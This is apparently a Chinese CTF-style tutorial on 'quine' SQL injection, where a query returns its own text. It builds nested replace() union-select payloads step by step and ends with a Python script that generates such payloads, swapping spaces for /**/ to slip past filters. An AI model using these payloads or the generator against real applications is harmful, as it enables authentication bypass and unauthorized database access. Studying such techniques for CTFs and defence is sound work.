前言
quine注入,即查询的结果是查询的语句
首先看看如下sql语句会返回什么
select replace(".",char(46),".");
返回了一个点
匹配字符串".“中ascii码为46的字符并替换为”.“,也就是将”.“转换为”."并返回
继续看下面这个sql语句
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
很相似,但并不完全一致,查询出的结果是双引号的
此处将字符串 replace(“.”,char(46),“.”)
中ascii码为46的字符替换为另一字符串 replace(“.”,char(46),“.”)
也就是
replace(“replace(”.“,char(46),”.“)”,char(46),“replace(”.“,char(46),”.“)”)
观察原来的查询语句
replace(’ replace(“.”,char(46),“.”)',char(46),‘replace(“.”,char(46),“.”)’)
那么我们只需要将双引号替换成单引号就行
select replace("\"\"",char(34),char(39));
所以需要替换的字符串就变成了
'replace(replace(".",char(34),char(39)),char(46),".")'
这一步是替换单双引号
select replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));
这一步是替换点为相关字符
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
最终得到如上结果
这样我们确实是可以执行sql语句了,但是还需要解决注入的问题(这样只能堆叠)
所以加入union select的sql语句如下
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
构造过程
构造过程如下
第一步拿基本语句作为替换语句
比如我想要 1’union select #
1"union select #
转单引号为双引号
1" union select replace(replace(".",char(34),char(39)),char(46),".")#
放入基本语句
第二步拼接
replace(replace('.',char(34),char(39)),char(46),'.')
replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')
补全
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
题目特征
适用于如下的条件
脚本
稍微用残疾的python水平写了个小脚本
勉强可用,减少了手动构造可能的出错
sql = input ("输入你的sql语句,不用写关键查询的信息 形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("--+" in string):
tem = string.split("--+")[0] + base + "--+"
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("--+" in string):
return sql.split("--+")[0] + string + "--+"
if ("#" in string):
return sql.split("#")[0] + string + "#"
res = patch(base.replace(".",add(sql2)),sql).replace(" ","/**/").replace("'.'",'"."')
print(res)